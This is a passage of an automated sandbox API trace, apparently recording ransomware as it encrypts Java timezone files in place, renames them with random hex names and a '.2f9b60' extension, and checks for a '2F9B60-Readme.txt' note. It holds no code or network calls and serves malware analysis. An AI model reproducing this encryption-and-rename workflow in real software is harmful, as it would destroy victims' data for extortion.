(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18570 [0207.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18570) returned 1 [0207.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebae60) returned 1 [0207.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x42c18570 [0207.501] sprintf (in: _Dest=0x42c18570, _Format="%c%c" | out: _Dest="40") returned 2 [0207.501] sprintf (in: _Dest=0x42c18572, _Format="%c%c" | out: _Dest="e6") returned 2 [0207.501] sprintf (in: _Dest=0x42c18574, _Format="%c%c" | out: _Dest="18") returned 2 [0207.501] sprintf (in: _Dest=0x42c18576, _Format="%c%c" | out: _Dest="03") returned 2 [0207.501] sprintf (in: _Dest=0x42c18578, _Format="%c%c" | out: _Dest="9b") returned 2 [0207.501] sprintf (in: _Dest=0x42c1857a, _Format="%c%c" | out: _Dest="1f") returned 2 [0207.501] sprintf (in: _Dest=0x42c1857c, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.501] sprintf (in: _Dest=0x42c1857e, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.501] sprintf (in: _Dest=0x42c18580, _Format="%c%c" | out: _Dest="8e") returned 2 [0207.501] sprintf (in: _Dest=0x42c18582, _Format="%c%c" | out: _Dest="73") returned 2 [0207.501] sprintf (in: _Dest=0x42c18584, _Format="%c%c" | out: _Dest="88") returned 2 [0207.501] sprintf (in: _Dest=0x42c18586, _Format="%c%c" | out: _Dest="0c") returned 2 [0207.501] sprintf (in: _Dest=0x42c18588, _Format="%c%c" | out: _Dest="c9") returned 2 [0207.501] sprintf (in: _Dest=0x42c1858a, _Format="%c%c" | out: _Dest="93") returned 2 [0207.501] RtlInitAnsiString (in: DestinationString=0x44e1fb08, SourceString="40e618039b1fab2f8e73880cc993" | out: DestinationString="40e618039b1fab2f8e73880cc993") [0207.501] RtlAnsiStringToUnicodeString (in: DestinationString=0x44e1fad8, SourceString="40e618039b1fab2f8e73880cc993", AllocateDestinationString=1 | out: DestinationString="40e618039b1fab2f8e73880cc993") returned 0x0 [0207.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97cb0 [0207.502] wcscat (in: _Dest=0x431a0d50, _Source="40e6180" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\40e6180") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\40e6180" [0207.502] wcscat (in: _Dest=0x431a0d50, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\40e6180.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\40e6180.2f9b60" [0207.502] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\40e6180.2f9b60", NtPathName=0x44e1fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\40e6180.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43145220 [0237.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145220) returned 1 [0237.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4316fb10) returned 1 [0237.685] NtQueryInformationFile (in: FileHandle=0x2bec, IoStatusBlock=0x44e1fb18, FileInformation=0x44e1fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x44e1fb18, FileInformation=0x44e1fb28) returned 0x0 [0237.685] NtSetInformationFile (FileHandle=0x2bec, IoStatusBlock=0x44e1fb18, FileInformation=0x44e1fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a0d50) returned 1 [0237.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0237.968] FlushFileBuffers (hFile=0x2bec) returned 1 [0238.251] CloseHandle (hObject=0x2bec) returned 1 [0241.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3ad0 [0241.707] wcscpy (in: _Dest=0x431a3ad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.707] wcscat (in: _Dest=0x431a3ad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.707] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3ad0) returned 1 [0243.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5ec80) returned 1 Thread: id = 2839 os_tid = 0x1a88 [0160.259] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\mogadishu")) returned 0x20 [0165.818] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu", dwFileAttributes=0x20) returned 1 [0167.064] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\mogadishu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c48 [0167.983] GetFileSizeEx (in: hFile=0x2c48, lpFileSize=0x44fbfb40 | out: lpFileSize=0x44fbfb40*=73) returned 1 [0167.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18390 [0167.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182a0 [0167.984] NtQuerySystemTime (in: CurrentTime=0x44fbfa00 | out: CurrentTime=0x44fbfa00*=132462177731050000) returned 0x0 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x5d07b283 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x222d8bed [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x2f21d1e7 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x3dbdf2b3 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x313e3a69 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x1f159a0 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x73f79957 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x53dc529 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x7b3594d1 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x2f531c20 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x78238ea4 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x5ae9f237 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x1e1a3acf [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x75757280 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x6782c98a [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x128d2098 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x2f2b42fd [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x567f77cc [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x31e42160 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x7df5a6fc [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x2a4ba8c1 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x366c5ae5 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x2f6d930e [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x73d5f1f3 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x32c0cca7 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x6ba9b979 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x60ce69ae [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x563b8900 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x3cd9cb3f [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x6edb0ab3 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x4ff2e7f2 [0167.984] RtlRandomEx (in: Seed=0x44fbf9f0 | out: Seed=0x44fbf9f0) returned 0x11b6f2ad [0167.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c182d0 [0167.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b2b0 [0167.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18330 [0167.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b2b0) returned 1 [0167.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182a0) returned 1 [0167.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c510 [0167.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b2b0 [0167.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429409e0 [0167.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429445f0 [0167.994] ReadFile (in: hFile=0x2c48, lpBuffer=0x429409e0, nNumberOfBytesToRead=0x49, lpNumberOfBytesRead=0x44fbf9f0, lpOverlapped=0x0 | out: lpBuffer=0x429409e0*, lpNumberOfBytesRead=0x44fbf9f0*=0x49, lpOverlapped=0x0) returned 1 [0167.995] SetFilePointerEx (in: hFile=0x2c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.995] WriteFile (in: hFile=0x2c48, lpBuffer=0x429445f0*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x44fbf9f4, lpOverlapped=0x0 | out: lpBuffer=0x429445f0*, lpNumberOfBytesWritten=0x44fbf9f4*=0x49, lpOverlapped=0x0) returned 1 [0180.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd91a0 [0180.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9170 [0180.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9170) returned 1 [0180.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429445f0) returned 1 [0180.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429409e0) returned 1 [0180.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b2b0) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c510) returned 1 [0180.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9170 [0180.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c510 [0180.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b2b0 [0180.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9110 [0180.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9110) returned 1 [0180.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9110 [0180.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd90e0 [0180.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9020 [0180.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9020) returned 1 [0180.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b2b0) returned 1 [0180.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c510) returned 1 [0180.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42055c60 [0180.614] SetFilePointerEx (in: hFile=0x2c48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.614] WriteFile (in: hFile=0x2c48, lpBuffer=0x42055c60*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x44fbfb10, lpOverlapped=0x0 | out: lpBuffer=0x42055c60*, lpNumberOfBytesWritten=0x44fbfb10*=0x104, lpOverlapped=0x0) returned 1 [0184.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cc0 [0184.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cc0) returned 1 [0184.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d800 [0184.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cc0 [0184.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f90 [0184.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f90) returned 1 [0184.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x42c18f90 [0184.418] sprintf (in: _Dest=0x42c18f90, _Format="%c%c" | out: _Dest="99") returned 2 [0184.418] sprintf (in: _Dest=0x42c18f92, _Format="%c%c" | out: _Dest="4c") returned 2 [0184.418] sprintf (in: _Dest=0x42c18f94, _Format="%c%c" | out: _Dest="ed") returned 2 [0184.418] sprintf (in: _Dest=0x42c18f96, _Format="%c%c" | out: _Dest="d9") returned 2 [0184.419] sprintf (in: _Dest=0x42c18f98, _Format="%c%c" | out: _Dest="bb") returned 2 [0184.419] sprintf (in: _Dest=0x42c18f9a, _Format="%c%c" | out: _Dest="2c") returned 2 [0184.419] sprintf (in: _Dest=0x42c18f9c, _Format="%c%c" | out: _Dest="99") returned 2 [0184.419] sprintf (in: _Dest=0x42c18f9e, _Format="%c%c" | out: _Dest="7a") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fa0, _Format="%c%c" | out: _Dest="72") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fa2, _Format="%c%c" | out: _Dest="0a") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fa4, _Format="%c%c" | out: _Dest="a9") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fa6, _Format="%c%c" | out: _Dest="b9") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fa8, _Format="%c%c" | out: _Dest="b4") returned 2 [0184.419] sprintf (in: _Dest=0x42c18faa, _Format="%c%c" | out: _Dest="8d") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fac, _Format="%c%c" | out: _Dest="9c") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fae, _Format="%c%c" | out: _Dest="44") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fb0, _Format="%c%c" | out: _Dest="9e") returned 2 [0184.419] sprintf (in: _Dest=0x42c18fb2, _Format="%c%c" | out: _Dest="78") returned 2 [0184.419] RtlInitAnsiString (in: DestinationString=0x44fbfb88, SourceString="994cedd9bb2c997a720aa9b9b48d9c449e78" | out: DestinationString="994cedd9bb2c997a720aa9b9b48d9c449e78") [0184.419] RtlAnsiStringToUnicodeString (in: DestinationString=0x44fbfb58, SourceString="994cedd9bb2c997a720aa9b9b48d9c449e78", AllocateDestinationString=1 | out: DestinationString="994cedd9bb2c997a720aa9b9b48d9c449e78") returned 0x0 [0184.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1ced5800 [0184.420] RtlFreeAnsiString (AnsiString="9") [0184.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f90) returned 1 [0184.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d800) returned 1 [0184.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18cc0) returned 1 [0184.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055c60) returned 1 [0184.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9110) returned 1 [0184.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd90e0) returned 1 [0184.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9170) returned 1 [0184.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd91a0) returned 1 [0184.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18390) returned 1 [0184.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c182d0) returned 1 [0184.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18330) returned 1 [0184.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42c233b0 [0184.424] wcscat (in: _Dest=0x42c233b0, _Source="994cedd9b" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\994cedd9b") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\994cedd9b" [0184.424] wcscat (in: _Dest=0x42c233b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\994cedd9b.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\994cedd9b.2f9b60" [0184.424] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\994cedd9b.2f9b60", NtPathName=0x44fbfb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\994cedd9b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050cd40 Thread: id = 2840 os_tid = 0x1a8c [0160.261] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\monrovia")) returned 0x20 [0165.820] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia", dwFileAttributes=0x20) returned 1 [0167.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Monrovia" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\monrovia"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c50 [0168.012] GetFileSizeEx (in: hFile=0x2c50, lpFileSize=0x312dfd80 | out: lpFileSize=0x312dfd80*=77) returned 1 [0168.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18300 [0168.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c181b0 [0168.013] NtQuerySystemTime (in: CurrentTime=0x312dfc40 | out: CurrentTime=0x312dfc40*=132462177731362000) returned 0x0 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x3155c571 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x8a0eb3a [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x7fd0aa76 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x7c198ab [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x6e719bfe [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x5e2c4368 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x2ea1b718 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x5e1baccc [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x2730e497 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x4b156ddf [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x11f3e679 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x1b8cf7d9 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x4da1bf12 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x4280a3f2 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x6f018c5a [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x39a4b592 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x2e5d0740 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x1faa87d [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x41a49a53 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x1975774 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x2bec94ff [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x52c1f15c [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x347fc128 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x2dbd3171 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x4da18740 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x457a5ae2 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x26cdaccf [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x726b3b77 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x3e58f12d [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x4abbed2 [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x107f8eeb [0168.013] RtlRandomEx (in: Seed=0x312dfc30 | out: Seed=0x312dfc30) returned 0x256f5193 [0168.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18180 [0168.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b1b0 [0168.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180c0 [0168.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b1b0) returned 1 [0168.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c181b0) returned 1 [0168.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c5b0 [0168.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b1b0 [0168.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4288ea60 [0168.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42892670 [0168.023] ReadFile (in: hFile=0x2c50, lpBuffer=0x4288ea60, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x312dfc30, lpOverlapped=0x0 | out: lpBuffer=0x4288ea60*, lpNumberOfBytesRead=0x312dfc30*=0x4d, lpOverlapped=0x0) returned 1 [0168.024] SetFilePointerEx (in: hFile=0x2c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.024] WriteFile (in: hFile=0x2c50, lpBuffer=0x42892670*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x312dfc34, lpOverlapped=0x0 | out: lpBuffer=0x42892670*, lpNumberOfBytesWritten=0x312dfc34*=0x4d, lpOverlapped=0x0) returned 1 [0180.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d80 [0180.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8cc0 [0180.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8cc0) returned 1 [0180.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42892670) returned 1 [0180.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4288ea60) returned 1 [0180.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b1b0) returned 1 [0180.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c5b0) 